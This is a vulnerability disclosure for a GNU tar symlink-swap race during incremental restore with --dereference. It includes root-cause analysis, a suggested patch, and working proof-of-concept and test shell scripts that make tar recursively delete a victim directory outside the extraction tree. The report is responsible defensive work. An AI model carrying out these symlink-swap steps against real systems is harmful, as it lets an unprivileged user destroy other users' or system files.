------------------------------------------------------------------------------
GNU tar -- arbitrary directory content deletion via symlink swap race in
purge_directory() when restoring incrementally with --dereference (-h)
------------------------------------------------------------------------------

1. SUMMARY

When running `tar -x --listed-incremental ... --dereference` into a
directory writable by a local unprivileged attacker, the attacker can
race the directory-purging step and make tar recursively delete the
entire contents of an arbitrary directory of their choice (e.g. /etc,
another user's home), nested subdirectories included.

This is a variant of CVE-2026-18477 (TOCTOU in incremental restore
purging) that the fixes committed for that CVE do not cover (87819f9,
d1df7f4, and the follow-ups e5aeda0, 0713d35). The gap only exists
under --dereference/-h: commit 145a671, which resolved the -h
extraction regressions, drops the path protections (RESOLVE_BENEATH,
O_NOFOLLOW, AT_SYMLINK_NOFOLLOW) for the -h configuration, and that
relaxation also reaches the *removal* code paths -- where following a
symlink was never the intent in the first place.

2. IMPACT

- Recursive content deletion (data destruction) outside the extraction
  tree, with the privileges of the restoring user (typically root).
- Unprivileged local attacker; nothing needed beyond write access to
  the restore directory. Same threat model and precondition as
  CVE-2026-18477: root restoring into /tmp or into a directory the
  attacker controls.

3. AFFECTED VERSION / CONFIGURATION

- Tested: tar 1.35.90 (git HEAD from savannah, checked out 2026-09-22),
  built from source, with the complete current CVE-2026-18477 fix set
  (87819f9, d1df7f4, e5aeda0, 0713d35).
- Required options: `-x -h/--dereference -g/--listed-incremental`
  (restore of an incremental archive whose dumpdir records exist).
- Tested on macOS (Darwin), which uses the gnulib openat2 emulation,
  and on Linux (Debian 12, kernel openat2). Both are vulnerable, both
  are fixed by the attached patch. On Linux under -h the openat2 call
  goes out with resolve=0 and no O_NOFOLLOW (tar.c:2716-2721), so the
  in-kernel openat2 follows the swapped symlink exactly like the
  emulation does. Nothing here is platform-specific.

4. ATTACK CHAIN (references checked against git HEAD)

  tar_savedir(parent) lists on-disk entries               incremen.c:1650
  deref_stat(d): under -h fstatat_flags=0, follows
    symlinks -> entry is classified as a real directory   incremen.c:1729
    (flags matrix: tar.c:2703-2723)
  entry not present in dumpdir -> scheduled for purge     incremen.c:1741
  remove_any_file(d, RECURSIVE_REMOVE_OPTION)             incremen.c:1757
  unlinkat -> EISDIR; safer_rmdir -> ENOTEMPTY            misc.c:704, 717
  recursive branch: tar_savedir(d) lists all entries
    (final path component opened with open_read_flags,
     no O_NOFOLLOW under -h)                              misc.c:743 -> 1722
  loop deletes entries one by one; each successful
  deletion calls fdbase_clear, so the next entry re-opens
  the parent directory *by name*                          misc.c:706, 700

  ============ attacker: rename(d, d.bak) + symlink(victim, d) ============

  the re-open of d resolves the freshly created symlink
  (under -h: no O_NOFOLLOW, no RESOLVE_BENEATH)           misc.c:1280
    -> tar operates on victim
  unlinkat(fd, entry) succeeds for mirrored names         misc.c:704
  nested directories: tar_savedir(d/loot) lists the *real*
  contents of victim/loot -> full recursive deletion      misc.c:743

4a. EXPLOITATION SCENARIOS

Victim: an administrator (typically root) restoring incremental
backups with `tar -x -g snap.snar -h -C <dir>`. Attacker: a local
unprivileged user who can write to <dir> (/tmp, a shared workspace, a
directory they own) but has no access to the victim tree. The attacker
steers root's purge step into deleting the victim tree's contents.
Three ways to get there, easiest first:

  Scenario A -- pre-staged symlink, deterministic (no race).
    The attacker replaces a directory the snapshot still records (so
    tar expects it to survive) with a symlink to the victim tree (e.g.
    /etc). tar writes the archived members through the link, then purge
    walks the directory and deletes every entry NOT listed in the
    dumpdir -- i.e. essentially the whole victim tree. Nothing is
    raced; the directory layout and snapshot content just have to line
    up. (a2_deterministic_test.sh)

  Scenario B -- intermediate path component, deterministic (no race).
    The purge target is proj/db, where db is a real directory but proj
    is a symlink to the victim tree. A fix that only adds O_NOFOLLOW
    still follows the intermediate link; only RESOLVE_BENEATH rejects
    the escape. (a2_midpath_test.sh)

  Scenario C -- runtime swap race.
    The attacker races the removal with back-to-back rename()+symlink()
    so that the per-entry parent re-open (by name, via fdbase) lands on
    the freshly planted symlink. Needs 1:1 name-mirroring of the victim
    and a single-process swap (~100 ns gap); see section 5.
    (a2_poc.sh + swapper.c)

All three are the same bug underneath: the purge/removal path follows
a runtime symlink under -h (section 7). A and B need no timing at all;
C is the race that motivated the original CVE-2026-18477 report.

5. ATTACK MODEL NOTES (why naive reproductions fail)

I burned a few PoC iterations learning these; writing them down so
nobody wastes time on a regression test that can't fire:

 a. The purged entry must be a REAL directory at classification time.
    A top-level symlink entry dies at the unlink-first step (misc.c:704
    does not follow it and just removes the link).
 b. Names inside the attacker's mirror directory must 1:1 mirror the
    victim's entry list: misc.c:759 aborts the whole removal loop on
    the first failing deletion, and a name missing from the victim
    makes the very first unlinkat after the swap fail with ENOENT.
    (Victim directory is assumed readable, e.g. /etc.)
 c. The swap must be done as back-to-back rename()+symlink() syscalls
    from a single process. Shell `mv` + `ln` leave a millisecond-scale
    gap that tar reliably hits (ENOENT -> loop abort). The in-process
    gap is ~100ns; a hit is survivable and the round is simply retried.
 d. The trigger canary should be the FIRST entry in readdir order:
    tar's removal order follows the same readdir sequence
    (SAVEDIR_SORT_NONE), so the canary's disappearance leaves ~100% of
    the loop's runtime as the race window.

6. REPRODUCTION

Attachment `a2_poc.sh` (plus `swapper.c`, compile with `cc -O2 -o
swapper swapper.c`). What the script does:

  1. Create a level-0 and a level-1 incremental archive of `proj/`
     (the level-1 archive carries the dumpdir).
  2. Prepare `restore/proj/d/` as the attacker-writable mirror
     directory with 100000 files mirroring `victim/` 1:1 (plus
     `loot/secret1.txt`, `loot/secret2.txt`, `loot/deeper/crown.key`).
  3. Start `swapper d <abs-path-to-victim> <canary>` which busy-polls
     for the canary (first readdir entry) to disappear, then performs
     rename(d, d.bak) + symlink(victim, d) back-to-back.
  4. Run: tar -xf inc.tar -g snap.snar -C restore --dereference
  5. Count files remaining in victim/.

Observed result (attack configuration, -h):

  ROUND 1-3: race not hit (gap hit / timing; expected, see 5.c)
  ROUND 4:   99997/100000 victim files deleted, 3/3 loot entries
             deleted, including the nested loot/deeper/crown.key
  => the entire content of victim/ was recursively deleted by tar's
     purge_directory, outside the extraction tree.

Control experiment (identical setup and race, WITHOUT -h):

  CTRL ROUND 1-3: 0/100000 victim files deleted
  => without -h the race does not trigger; --dereference is the sole
     switch. On non-openat2 platforms the gnulib emulation's
     RESOLVE_BENEATH check (gnu/openat2.c: absolute target -> EXDEV,
     ../ escape -> EXDEV) holds, and on Linux >= 5.6 the kernel
     openat2 with RESOLVE_BENEATH rejects the escape. The flag is the
     difference, nothing else.

6a. DETERMINISTIC REPRODUCTION (no race needed)

Attachment `a2_deterministic_test.sh` reproduces the core defect
without any race: it pre-stages a symlink as the purge target, so a
plain `tar -x -h -g` run walks it. Handy as a fast red/green check
for the patch:

  unpatched: 3/3 victim entries deleted (VULNERABLE)
  patched:   0/3, unlink fails with ELOOP/EXDEV semantics (FIXED)

6b. VARIANT: mid-path component swap (O_NOFOLLOW alone is NOT enough)

Attachment `a2_midpath_test.sh` demonstrates this deterministically
(no race): the purge removal path is `proj/db/x.txt`, where the final
component `db` is a real directory and the intermediate component
`proj` is a symlink to a victim tree. Results:

  clean (HEAD) + -h:          2/2 victim entries deleted (VULNERABLE)
  O_NOFOLLOW-only build + -h: 2/2 deleted   <-- O_NOFOLLOW is NOT enough
  patched (+ RESOLVE_BENEATH): 0/2, "Cannot open: Not a directory" (FIXED)

O_NOFOLLOW only protects the FINAL path component. If the attacker
swaps one of the INTERMEDIATE components instead -- tar is about to
purge `proj/db`, and the attacker replaces `proj` itself (or any
mid-path ancestor) with a symlink to a victim tree -- then an
O_NOFOLLOW-only open of `proj/db` still resolves through the swapped
ancestor and deletes the victim's mirrored content. I verified this
the hard way: my first fix attempt was O_NOFOLLOW-only, and the
mid-path test still deleted 1/63 victim files on the race build
(macOS) and 2/2 on the deterministic build (Linux).

The underlying reason: in the gnulib openat2 emulation
(gnu/openat2.c), when resolve==0 the code takes the single-openat
fast path, which follows intermediate symlinks; and on Linux,
openat2 without RESOLVE_BENEATH likewise follows intermediate
components. So the fix has to re-arm BOTH protections on the removal
path. The attached patch does exactly that: its `open_subdir`
nofollow branch sets O_NOFOLLOW *and* (when !absolute_names_option,
matching the existing policy for non-h extraction) RESOLVE_BENEATH,
so a swapped mid-path component gets rejected with EXDEV before any
deletion occurs. With the final patch, 3/3 mid-path race rounds fail
with "Cross-device link" (EXDEV) and 0 victim files are deleted
(macOS); the deterministic mid-path test is 0/2 on Linux.

7. ROOT CAUSE

Commit 145a671 removed the path-protection matrix (RESOLVE_BENEATH /
O_NOFOLLOW / AT_SYMLINK_NOFOLLOW) for the -h configuration in order
to fix -h *extraction* regressions. That relaxation was applied
globally, so it also covers the *purge / removal* paths
(purge_directory -> remove_any_file -> tar_savedir -> fdbase re-opens).
But -h means "follow the symlinks the ARCHIVE contains, when reading
file data". It never meant "follow a symlink that shows up at runtime
in the path of a directory whose contents we are about to DELETE".
A directory entry that is not in the snapshot dumpdir is by
definition not covered by the user's -h intent.

The CVE-2026-18477 fix set (87819f9 / d1df7f4 / e5aeda0 / 0713d35)
hardened dumpdir verification and the fdbase cache state machine, but
none of them restore the removal-path protections under -h.

8. SUGGESTED FIX (patch attached: tar-remove-nofollow.patch)

The attached patch takes the semantic route: decouple the removal
path from -h. Deleting files must never follow a runtime symlink --
not in the final component, not in the middle of the path. Against
current git HEAD, it does:

  - `tar_savedir()` gains a `nofollow` parameter; all removal-context
    callers (purge_directory in incremen.c, the recursive branch of
    remove_any_file in misc.c) pass true; the update.c caller keeps
    its previous semantics (false).
  - New `fdbase_removal()`: the fdbase entry used by remove_any_file
    is opened with O_NOFOLLOW regardless of dereference_option, so
    the per-entry parent-directory re-open in the removal loop
    (misc.c:700) can no longer resolve a swapped symlink.
  - `open_subdir()` nofollow branch: opens with O_NOFOLLOW *and*
    (when !absolute_names_option) passes RESOLVE_BENEATH via
    openat2/open_searchdir_how, closing the mid-path component swap
    documented in 6b (rejected with EXDEV).

One deliberate omission: the lstat-classification hardening
(AT_SYMLINK_NOFOLLOW for purge candidates) is not in this patch. I
kept it to open()-time protections only, which is where the
regression came from (145a671); the classification change can go in
later as defense-in-depth if you want it.

An alternative would be Option B style detection: after the
removal-path directory open, fstat the FD and compare (st_dev,
st_ino) against the earlier stat of the purge candidate, aborting the
purge on mismatch. I did not go that way; the open()-time approach
needs no state tracking.

If a different shape fits the codebase better (int flags instead of
bool, fdbase_removal folded elsewhere), I'll rework it.

9. DISCLOSURE

Reported here first. I plan to also submit the resulting upstream fix
to the Google Patch Rewards Program once it is merged and has stayed
un-reverted upstream for the program's required waiting period.
No public disclosure before a fix is available unless you prefer
otherwise.

10. TESTED ENVIRONMENT / PATCH VERIFICATION

  tar 1.35.90 (git HEAD, savannah repo, 2026-09-22), built from source
  macOS (Darwin), gnulib openat2 emulation path
  Linux (Debian 12, x86_64, kernel openat2) -- cross-platform check
  PoC artifacts: a2_poc.sh, swapper.c (attached)
  Patch: tar-remove-nofollow.patch (attached)

  How I tested the patch (same build options throughout):

    macOS (gnulib openat2 emulation):
      deterministic purge-walk test (6a):  3/3 deleted -> 0/3 (FIXED)
      outer-ring race (6, -h):             full victim wipe -> race
        fails, 0 deleted
      mid-path component swap (6b, -h):    1/63 deleted on the
        O_NOFOLLOW-only build -> 0/63, EXDEV ("Cross-device link")
        in stderr on the final patch

    Linux (in-kernel openat2, independently rebuilt from HEAD):
      deterministic purge-walk test (6a):
        clean + -h:        3/3 victim deleted (VULNERABLE)
        clean, no -h:      0/3 (control: -h is the sole switch)
        patched + -h:      0/3, "Cannot open: Not a directory" (FIXED)
      mid-path component swap (6b):
        clean + -h:             2/2 victim stale entries deleted (VULN)
        O_NOFOLLOW-only + -h:   2/2 deleted  <-- O_NOFOLLOW is NOT enough
        patched + -h:           0/2, "Cannot open: Not a directory" (FIXED)

    functional smoke (no regressions, both platforms):
      non-h incremental restore:            semantics unchanged
      -h incremental restore:               unchanged
      -h archive containing a symlink:      member extracted, data
        path follows the link as before
      -h purge of a pre-staged symlink:     only the link entry is
        unlinked, targets untouched (same as pre-patch)

Contact: gaopengsha
#!/bin/bash
# ============================================================================
# a2_poc.sh -- GNU tar purge_directory symlink-swap race PoC
#
# Arbitrary recursive content deletion outside the extraction tree when
# restoring an incremental archive with --dereference (-h) into a
# directory writable by a local unprivileged attacker.
#
# Variant of CVE-2026-18477 not covered by its fix set; see the report
# mailed to [email protected] for the full analysis.
#
# Requirements:
#   - GNU tar built from git HEAD (tested: 1.35.90, 2026-09-22); export
#     TAR_BIN=/path/to/tar  (do NOT point it at macOS bsdtar)
#   - swapper binary built from swapper.c:  cc -O2 -o swapper swapper.c
#     (default: ./swapper next to this script; override with SWAPPER=...)
#   - python3
#
# Notes on the attack model (each point was established empirically;
# naive reproductions fail without all four):
#   1. The purged entry must be a REAL directory at classification time
#      (a top-level symlink dies at the unlink-first step, misc.c:704).
#   2. The mirror directory must mirror the victim's entry names 1:1:
#      the removal loop aborts on the first failed deletion (misc.c:759),
#      and a name missing from the victim fails immediately after the
#      swap with ENOENT.
#   3. The swap must be back-to-back rename()+symlink() syscalls from a
#      single process (swapper.c); external mv/ln lose the race.
#   4. The canary must be the first entry in readdir order: tar's
#      removal order follows the same sequence (SAVEDIR_SORT_NONE).
#
# Run:  TAR_BIN=/path/to/gnu/tar bash a2_poc.sh
# Success is printed as "RESULT: RACE WON ..."; failing rounds are
# expected (~1% per-round gap-hit probability) and are retried.
# ============================================================================
set -u
TAR_BIN=${TAR_BIN:?export TAR_BIN=/path/to/gnu/tar}
SWAPPER=${SWAPPER:-"$(dirname "$0")/swapper"}
N=${N:-100000}
ROUNDS=${ROUNDS:-5}
PY=python3

for ROUND in $(seq 1 "$ROUNDS"); do
    WORK=$(mktemp -d "${TMPDIR:-/tmp}/a2poc.XXXXXX")
    SNAP="$WORK/snap.snar"; ARC="$WORK/inc.tar"; VICTIM="$WORK/victim"
    REST="$WORK/restore"; D="$REST/proj/d"

    # [1] Level-0 + level-1 incremental archives (level-1 carries dumpdir)
    mkdir -p "$WORK/src/proj"
    echo base > "$WORK/src/proj/base.txt"
    "$TAR_BIN" -cf "$WORK/l0.tar" -g "$SNAP" -C "$WORK/src" proj
    echo base2 > "$WORK/src/proj/base2.txt"
    "$TAR_BIN" -cf "$ARC" -g "$SNAP" -C "$WORK/src" proj

    # [2] Victim tree + [3] attacker mirror directory (1:1 name mirror)
    $PY - "$VICTIM" "$D" "$N" <<'EOF'
import os, sys
victim, mirror, n = sys.argv[1], sys.argv[2], int(sys.argv[3])
os.makedirs(victim + "/loot/deeper"); os.makedirs(mirror + "/loot/deeper")
for i in range(1, n + 1):
    name = f"v{i:06d}.txt"
    open(os.path.join(victim, name), "w").write("v")
    open(os.path.join(mirror, name), "w").close()
for p in ("loot/secret1.txt", "loot/secret2.txt", "loot/deeper/crown.key"):
    open(os.path.join(victim, p), "w").write("S")
    open(os.path.join(mirror, p), "w").close()
EOF

    # [4] Canary = first entry in readdir order (same source order tar uses)
    CANARY=$($PY - "$D" <<'EOF'
import os, sys
print(os.listdir(sys.argv[1])[0])
EOF
)

    # [5] Race: swapper busy-polls the canary, tar restores with -h
    "$SWAPPER" "$D" "$VICTIM" "$CANARY" > "$WORK/swapper.log" &
    APID=$!
    "$TAR_BIN" -xf "$ARC" -g "$SNAP" -C "$REST" --dereference \
        2>"$WORK/tar.err" >/dev/null
    wait $APID 2>/dev/null

    # [6] Verdict
    RESULT=$($PY - "$VICTIM" "$N" <<'EOF'
import os, sys
victim, n = sys.argv[1], int(sys.argv[2])
gone = sum(1 for i in range(1, n + 1)
           if not os.path.exists(os.path.join(victim, f"v{i:06d}.txt")))
loot = [p for p in ("loot/secret1.txt", "loot/secret2.txt",
                    "loot/deeper/crown.key")
        if not os.path.exists(os.path.join(victim, p))]
print(f"{gone} {len(loot)}")
EOF
)
    FILES_GONE=${RESULT%% *}; LOOT_GONE=${RESULT##* }
    echo "ROUND $ROUND: victim files deleted ${FILES_GONE}/${N}," \
         "loot entries deleted ${LOOT_GONE}/3" \
         "[swapper: $(cat "$WORK/swapper.log" 2>/dev/null)]"

    if [ "${FILES_GONE:-0}" -gt 0 ] || [ "${LOOT_GONE:-0}" -gt 0 ]; then
        echo "RESULT: RACE WON -- victim content recursively deleted by"
        echo "        purge_directory under --dereference"
        echo "WORKDIR: ${WORK} (kept for inspection)"
        exit 0
    fi
done
echo "RESULT: race not hit in ${ROUNDS} rounds (retry; see notes 3-4)"
exit 1

Attachment: swapper.c
Description: Binary data

#!/bin/bash
# ============================================================================
# a2_deterministic_test.sh -- deterministic red/green test for the
# purge_directory symlink-following defect (no race required).
#
# Setup: incremental archive of proj/ (dumpdir present).  On the restore
# side, proj is pre-created as a SYMLINK to victim/ (which holds files
# NOT in the archive).  With `tar -x -h -g`, the purge step must NOT
# follow the symlink: victim's contents must survive.
#
#   unpatched tar (bug):     victim files deleted   -> exit 1 (RED)
#   patched tar (fixed):     victim files intact    -> exit 0 (GREEN)
#
# Usage: TAR_BIN=/path/to/tar bash a2_deterministic_test.sh
# ============================================================================
set -u
TAR_BIN=${TAR_BIN:?usage: TAR_BIN=/path/to/tar bash $0}
WORK=$(mktemp -d "${TMPDIR:-/tmp}/a2det.XXXXXX")
SNAP="$WORK/snap.snar"; ARC="$WORK/inc.tar"
VICTIM="$WORK/victim"; REST="$WORK/restore"

# [1] source tree + incremental archives (level-1 carries the dumpdir)
mkdir -p "$WORK/src/proj"
echo a > "$WORK/src/proj/a.txt"
"$TAR_BIN" -cf "$WORK/l0.tar" -g "$SNAP" -C "$WORK/src" proj
echo b > "$WORK/src/proj/b.txt"
touch "$WORK/src/proj"          # ensure dir mtime changes -> dumpdir recorded
"$TAR_BIN" -cf "$ARC" -g "$SNAP" -C "$WORK/src" proj

# [2] victim tree with entries not present in the archive
mkdir -p "$VICTIM/sub"
echo x > "$VICTIM/x.txt"
echo y > "$VICTIM/y.txt"
echo s > "$VICTIM/sub/secret"

# [3] restore dir where proj is a SYMLINK to victim
mkdir -p "$REST"
ln -s "$VICTIM" "$REST/proj"

# [4] restore with --dereference
"$TAR_BIN" -xf "$ARC" -g "$SNAP" -C "$REST" --dereference \
    2>"$WORK/tar.err" >/dev/null

# [5] verdict: victim must be untouched
GONE=0
for p in x.txt y.txt sub/secret; do
    [ -e "$VICTIM/$p" ] || GONE=$((GONE + 1))
done
echo "victim entries deleted: $GONE/3  (tar stderr: $(head -1 "$WORK/tar.err" 2>/dev/null | cut -c1-90))"
if [ "$GONE" -gt 0 ]; then
    echo "VERDICT: BUG -- purge followed the symlink and deleted victim content"
    echo "WORKDIR: $WORK"
    exit 1
fi
echo "VERDICT: FIXED -- victim untouched"
rm -rf "$WORK"
exit 0
#!/bin/bash
# ============================================================================
# a2_midpath_test.sh -- deterministic mid-path component symlink test (no race)
#
# Demonstrates that O_NOFOLLOW ALONE is insufficient: the purge removal path
# "proj/db/x.txt" has a REAL final component (db) and a symlink intermediate
# component (proj). O_NOFOLLOW only checks the final component, so a runtime
# symlink swapped into the MIDDLE of the path still redirects deletions.
# Only RESOLVE_BENEATH rejects the escape.
#
#   clean (HEAD) + -h:          2/2 victim entries deleted  -> exit 1 (RED)
#   O_NOFOLLOW-only build + -h: 2/2 deleted (still broken)  -> exit 1 (RED)
#   patched (O_NOFOLLOW +
#            RESOLVE_BENEATH):  0/2, ENOTDIR                 -> exit 0 (GREEN)
#
# Usage: TAR_BIN=/path/to/tar bash a2_midpath_test.sh
# ============================================================================
set -u
TAR_BIN=${TAR_BIN:?usage: TAR_BIN=/path/to/tar bash $0}
WORK=$(mktemp -d "${TMPDIR:-/tmp}/a2mid.XXXXXX")
SNAP="$WORK/snap.snar"; ARC="$WORK/inc.tar"
VICTIM="$WORK/victim"; REST="$WORK/restore"

# [1] incremental archives: proj/db/{a.txt (l0), b.txt (l1)}
mkdir -p "$WORK/src/proj/db"
echo a > "$WORK/src/proj/db/a.txt"
"$TAR_BIN" -cf "$WORK/l0.tar" -g "$SNAP" -C "$WORK/src" proj
echo b > "$WORK/src/proj/db/b.txt"
touch "$WORK/src/proj" "$WORK/src/proj/db"
"$TAR_BIN" -cf "$ARC" -g "$SNAP" -C "$WORK/src" proj

# [2] victim/db holds stale files not present in the archive dumpdir
mkdir -p "$VICTIM/db"
echo x > "$VICTIM/db/x.txt"
echo y > "$VICTIM/db/y.txt"

# [3] restore side: proj is a SYMLINK to victim (intermediate component)
mkdir -p "$REST"
ln -s "$VICTIM" "$REST/proj"

# [4] restore with --dereference
"$TAR_BIN" -xf "$ARC" -g "$SNAP" -C "$REST" --dereference \
    2>"$WORK/tar.err" >/dev/null

# [5] verdict
GONE=0
for p in db/x.txt db/y.txt; do
    [ -e "$VICTIM/$p" ] || GONE=$((GONE + 1))
done
echo "victim stale entries deleted: $GONE/2  (tar stderr: $(head -2 "$WORK/tar.err" 2>/dev/null | tr '\n' ' ' | cut -c1-90))"
if [ "$GONE" -gt 0 ]; then
    echo "VERDICT: BUG -- mid-path symlink followed, victim content deleted"
    echo "WORKDIR: $WORK"
    exit 1
fi
echo "VERDICT: FIXED -- victim untouched"
rm -rf "$WORK"
exit 0

Attachment: tar-remove-nofollow.patch
Description: Binary data

Reply via email to